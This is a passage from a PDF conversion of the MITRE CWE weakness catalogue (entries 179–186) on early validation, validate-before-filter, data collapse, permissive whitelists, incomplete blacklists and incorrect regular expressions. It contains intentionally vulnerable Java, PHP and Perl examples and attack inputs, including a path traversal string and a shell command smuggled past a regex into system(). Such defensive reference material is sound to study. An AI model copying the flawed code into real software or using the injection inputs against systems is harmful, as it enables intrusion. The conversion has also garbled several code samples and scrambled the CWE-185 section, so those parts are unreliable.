Extended Description
Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

Time of Introduction
• Implementation

Applicable Platforms

Languages

Modes of Introduction
Since early validation errors usually arise from improperly implemented defensive mechanisms, it is likely that these will be introduced more frequently as secure programming becomes implemented more widely.

Common Consequences
Access Control
Integrity
Bypass protection mechanism
Execute unauthorized code or commands
An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.

Demonstrative Examples

Example 1:
The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Java Example:

```java
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
```
CWE Version 2.11
CWE-179: Incorrect Behavior Order: Early Validation

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicalized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

**Java Example:**

```java
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

**Example 2:**

This script creates a subdirectory within a user directory and sets the user as the owner.

**PHP Example:**

```php
function createDir($userName, $dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '" because other scripts identify user directories by this prefix
    $dirName = str_replace('".','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for '...' sequences, an attacker can submit a directory path including "~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0191</td>
<td>Overlaps &quot;fakechild/../realchild&quot;</td>
</tr>
<tr>
<td>CVE-2002-0433</td>
<td>Product allows remote attackers to view restricted files via an HTTP request containing a *** (wildcard or asterisk) character.</td>
</tr>
<tr>
<td>CVE-2002-0802</td>
<td>Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.</td>
</tr>
<tr>
<td>CVE-2002-0934</td>
<td>Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a &quot;..&quot; sequence.</td>
</tr>
<tr>
<td>CVE-2003-0282</td>
<td>Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a &quot;..&quot; sequence.</td>
</tr>
<tr>
<td>CVE-2003-0332</td>
<td>Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.</td>
</tr>
<tr>
<td>CVE-2004-2363</td>
<td>Product checks URI for &quot;&lt;&quot; and other literal characters, but does it before hex decoding the URI, so &quot;%3E&quot; and other sequences are allowed.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Implementation

Input Validation

Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>696</td>
<td>Incorrect Behavior Order</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>181</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Research Gaps

These errors are mostly reported in path traversal vulnerabilities, but the concept applies whenever validation occurs.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Early Validation Errors</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading 'Ghost' Character Sequences to Bypass Input Filters</td>
<td></td>
</tr>
<tr>
<td>43</td>
<td>Exploiting Multiple Input Interpretation Layers</td>
<td></td>
</tr>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

| Weakness ID: 180 (Weakness Base) | Status: Draft |

Description

Summary

The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Bypass protection mechanism
Demonstrative Examples

The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Java Example:  

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicalized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Java Example:  

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0191</td>
<td>Overlaps &quot;fakechild/..\realchild&quot;</td>
</tr>
<tr>
<td>CVE-2002-0433</td>
<td>Product allows remote attackers to view restricted files via an HTTP request containing a *** (wildcard or asterisk) character.</td>
</tr>
<tr>
<td>CVE-2002-0802</td>
<td>Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.</td>
</tr>
<tr>
<td>CVE-2003-0332</td>
<td>Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.</td>
</tr>
<tr>
<td>CVE-2004-2363</td>
<td>Product checks URI for &quot;&lt;/&quot; and other literal characters, but does it before hex decoding the URI, so &quot;%3E&quot; and other sequences are allowed.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699 18</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699 332</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
<td>1000 345</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711 1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844 1295</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888 1395</td>
</tr>
</tbody>
</table>

Relationship Notes

This overlaps other categories.
### CWE-181: Incorrect Behavior Order: Validate Before Filter

**Weakness ID:** 181 *(Weakness Base)*

#### Description

**Summary**

The software validates data before it has been filtered, which prevents the software from detecting data that becomes invalid after the filtering step.

**Extended Description**

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

#### Alternate Terms

- Validate-before-cleanse

#### Time of Introduction

- Implementation

#### Applicable Platforms

- All

#### Common Consequences

- Access Control
  - Bypass protection mechanism

#### Demonstrative Examples

This script creates a subdirectory within a user directory and sets the user as the owner.

**PHP Example:**

```php
function createDir($userName, $dirName) {
    $userDir = '/users/.' . $userName;
    if (strpos($dirName, '..') !== false) {
        echo 'Directory name contains invalid sequence
        return;
    }
    // filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~', '.' , $dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir, $userName);
}
```

While the script attempts to screen for `..` sequences, an attacker can submit a directory path including `"~\", which will then become `.." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

#### Observed Examples
CWE Version 2.11
CWE-182: Collapse of Data into Unsafe Value

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0934</td>
<td>Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a &quot;..&quot; sequence.</td>
</tr>
<tr>
<td>CVE-2003-0282</td>
<td>Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a &quot;..&quot; sequence.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Architecture and Design**

Inputs should be decoded and canonicalized to the application's current internal representation before being filtered.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699 18</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699 332</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
<td>1000 345</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711 1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888 1395</td>
</tr>
</tbody>
</table>

**Research Gaps**

This category is probably under-studied.

**Functional Areas**

- Protection Mechanism

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Validate-Before-Filter</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A1</td>
<td></td>
<td>Unvalidated Input</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading 'Ghost' Character Sequences to Bypass Input Filters</td>
</tr>
<tr>
<td>43</td>
<td>Exploiting Multiple Input Interpretation Layers</td>
</tr>
<tr>
<td>78</td>
<td>Using Escaped Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>79</td>
<td>Using Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>80</td>
<td>Using UTF-8 Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>267</td>
<td>Leverage Alternate Encoding</td>
</tr>
</tbody>
</table>

---

**CWE-182: Collapse of Data into Unsafe Value**

**Weakness ID:** 182 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The software filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Access Control
- Bypass protection mechanism

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1157</td>
<td>XSS protection mechanism strips a &lt;script&gt; sequence that is nested in another &lt;script&gt; sequence.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-182: Collapse of Data into Unsafe Value

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0325</td>
<td>&quot;/.../.../&quot; collapsed to &quot;/...&quot; due to removal of &quot;/&quot; in web server.</td>
</tr>
<tr>
<td>CVE-2002-0784</td>
<td>chain: HTTP server protects against &quot;/.&quot; but allows &quot;/.&quot; variants such as &quot;////./.../&quot;. If the server removes &quot;/.&quot; sequences, the result would collapse into an unsafe value &quot;///.&quot; (CWE-182).</td>
</tr>
<tr>
<td>CVE-2004-0815</td>
<td>&quot;////&quot; in path name collapses to absolute path.</td>
</tr>
<tr>
<td>CVE-2005-2169</td>
<td>MFV. Regular expression intended to protect against directory traversal reduces &quot;.../.../&quot; to &quot;./&quot;.</td>
</tr>
<tr>
<td>CVE-2005-3123</td>
<td>&quot;/.//..//////././&quot; is collapsed into &quot;/.././&quot; after &quot;..&quot; and &quot;//&quot; sequences are removed.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>V</td>
<td>33</td>
<td>Path Traversal: '...' (Multiple Dot)</td>
<td>1000 58</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>V</td>
<td>34</td>
<td>Path Traversal: '.../.../&quot;</td>
<td>1000 60</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>V</td>
<td>35</td>
<td>Path Traversal: '.../.../&quot;</td>
<td>1000 62</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699 332</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000 1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711 1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844 1295</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888 1395</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>185</td>
<td>Incorrect Regular Expression</td>
<td>1000 355</td>
</tr>
</tbody>
</table>

Relationship Notes

Overlaps regular expressions, although an implementation might not necessarily use regexp's.

Relevant Properties

- Trustability
CWE Version 2.11
CWE-183: Permissive Whitelist

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Collapse of Data into Unsafe Value</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS11-J</td>
<td>Eliminate noncharacter code points before validation</td>
</tr>
</tbody>
</table>

References


CWE-183: Permissive Whitelist

Weakness ID: 183 (Weakness Base) Status: Draft

Description

Summary
An application uses a "whitelist" of acceptable values, but the whitelist includes at least one unsafe value, leading to resultant weaknesses.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Access Control
- Bypass protection mechanism

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>B</td>
<td>186</td>
<td>Overly Restrictive Regular Expression</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>625</td>
<td>Permissive Regular Expression</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>627</td>
<td>Dynamic Variable Evaluation</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>942</td>
<td>Overly Permissive Cross-domain Whitelist</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Permissive Whitelist</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading 'Ghost' Character Sequences to Bypass Input Filters</td>
</tr>
<tr>
<td>43</td>
<td>Exploiting Multiple Input Interpretation Layers</td>
</tr>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
</tr>
</tbody>
</table>

References


CWE-184: Incomplete Blacklist

Weakness ID: 184 (Weakness Base) Status: Draft

352
**Description**

**Summary**
An application uses a "blacklist" of prohibited values, but the blacklist is incomplete.

**Extended Description**
If an incomplete blacklist is used as a security mechanism, then the software may allow unintended values to pass into the application logic.

**Time of Introduction**
- Implementation
- Architecture and Design

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Access Control
  - Bypass protection mechanism

**Detection Methods**

**Black Box**
Exploitation of incomplete blacklist weaknesses using the obvious manipulations might fail, but minor variations might succeed.

**Demonstrative Examples**
The following code attempts to stop XSS attacks by removing all occurrences of "script" in an input string.

**Java Example:**

```java
public String removeScriptTags(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0661</td>
<td>&quot;&quot; not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.</td>
</tr>
<tr>
<td>CVE-2004-0542</td>
<td>Programming language does not filter certain shell metacharacters in Windows environment.</td>
</tr>
<tr>
<td>CVE-2004-0595</td>
<td>XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse.</td>
</tr>
<tr>
<td>CVE-2004-2351</td>
<td>Resultant XSS from incomplete blacklist (only &lt;script&gt; and &lt;style&gt; are checked).</td>
</tr>
<tr>
<td>CVE-2005-1824</td>
<td>SQL injection protection scheme does not quote the &quot;&quot; special character.</td>
</tr>
<tr>
<td>CVE-2005-2184</td>
<td>Incomplete blacklist prevents user from automatically executing .EXE files, but allows .LNK, allowing resultant Windows symbolic link.</td>
</tr>
<tr>
<td>CVE-2005-2782</td>
<td>PHP remote file inclusion in web application that filters &quot;http&quot; and &quot;https&quot; URLs, but not &quot;ftp&quot;.</td>
</tr>
<tr>
<td>CVE-2005-2959</td>
<td>Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error.</td>
</tr>
<tr>
<td>CVE-2005-3287</td>
<td>Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited.</td>
</tr>
<tr>
<td>CVE-2006-4308</td>
<td>Chain: only checks &quot;javascript:&quot; tag</td>
</tr>
<tr>
<td>CVE-2007-1343</td>
<td>product doesn't protect one dangerous variable against external modification</td>
</tr>
<tr>
<td>CVE-2007-3572</td>
<td>Chain: incomplete blacklist for OS command injection</td>
</tr>
<tr>
<td>CVE-2007-5727</td>
<td>Chain: only removes SCRIPT tags, enabling XSS</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Input Validation**
Combine use of blacklist with appropriate use of whitelists.
Implementation
Input Validation
Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you’re likely to miss some variants.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>CAPEC-ID</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>1000</td>
<td>121</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>1000</td>
<td>692</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>1000</td>
<td>184</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
<td>332</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>1000</td>
<td>744</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000, 1003</td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>1000</td>
<td>1081</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>86</td>
<td>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</td>
<td>1000</td>
<td>152</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>186</td>
<td>Overly Restrictive Regular Expression</td>
<td>1000</td>
<td>356</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>625</td>
<td>Permissive Regular Expression</td>
<td>1000</td>
<td>975</td>
</tr>
<tr>
<td>StartsChain</td>
<td></td>
<td>692</td>
<td>Incomplete Blacklist to Cross-Site Scripting</td>
<td>709, 692</td>
<td>1076</td>
</tr>
</tbody>
</table>

Relationship Notes
An incomplete blacklist frequently produces resultant weaknesses. Some incomplete blacklist issues might arise from multiple interpretation errors, e.g. a blacklist for dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a blacklist for XSS manipulations might ignore an unusual construct that’s supported by one web browser, but not others.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Incomplete Blacklist</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading 'Ghost' Character Sequences to Bypass Input Filters</td>
</tr>
<tr>
<td>6</td>
<td>Argument Injection</td>
</tr>
<tr>
<td>15</td>
<td>Command Delimiters</td>
</tr>
<tr>
<td>43</td>
<td>Exploiting Multiple Input Interpretation Layers</td>
</tr>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>73</td>
<td>User-Controlled Filename</td>
</tr>
<tr>
<td>85</td>
<td>AJAX Fingerprint</td>
</tr>
<tr>
<td>174</td>
<td>Flash Parameter Injection</td>
</tr>
<tr>
<td>182</td>
<td>Flash Injection</td>
</tr>
</tbody>
</table>

References
CWE Version 2.11

CWE-185: Incorrect Regular Expression

CWE-185: Incorrect Regular Expression
Weakness ID: 185 (Weakness Class)

Status: Draft

Description

Summary
The software specifies a regular expression in a way that causes data to be improperly matched
or compared.

Extended Description
When the regular expression is used in protection mechanisms such as filtering or validation, this
may allow an attacker to bypass the intended restrictions on the incoming data.
Time of Introduction
• Implementation
Applicable Platforms

Languages

$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
# looks like it only has hyphens and digits
system("lookup-phone $phone");
}
else {
error("malformed number!");
}

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check,
since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.
Observed Examples
Reference
Description
CVE-2000-0115 Local user DoS via invalid regular expressions.
CVE-2001-1072 Bypass access restrictions via multiple leading slash, which causes a regular expression to
fail.
CVE-2002-1527 chain: Malformed input generates a regular expression error that leads to information
exposure.
CVE-2002-2109 Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have
trusted values as substrings.
CVE-2005-0603 Malformed regexp syntax leads to information exposure in error message.
CVE-2005-1061 Certain strings are later used in a regexp, leading to a resultant crash.
CVE-2005-1820 Code injection due to improper quoting of regular expression.
CVE-2005-1949 Regexp for IP address isn't anchored at the end, allowing appending of shell
metacharacters.
CVE-2005-2169 MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to
"../".
CVE-2005-3153 Null byte bypasses PHP regexp check.

355

CWE-185: Incorrect Regular Expression

• Language-independent
Common Consequences
Other
Unexpected state
Varies by context
When the regular expression is not correctly specified, data might have a different format or type
than the rest of the program expects, producing resultant weaknesses or errors.
Access Control
Bypass protection mechanism
In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any
number of weaknesses.
Demonstrative Examples
The following code takes phone numbers as input, and uses a regular expression to reject invalid
phone numbers.
Perl Example:
Bad Code


CWE Version 2.11
CWE-186: Overly Restrictive Regular Expression

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-4155</td>
<td>Null byte bypasses PHP regexp check.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Refactoring**

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
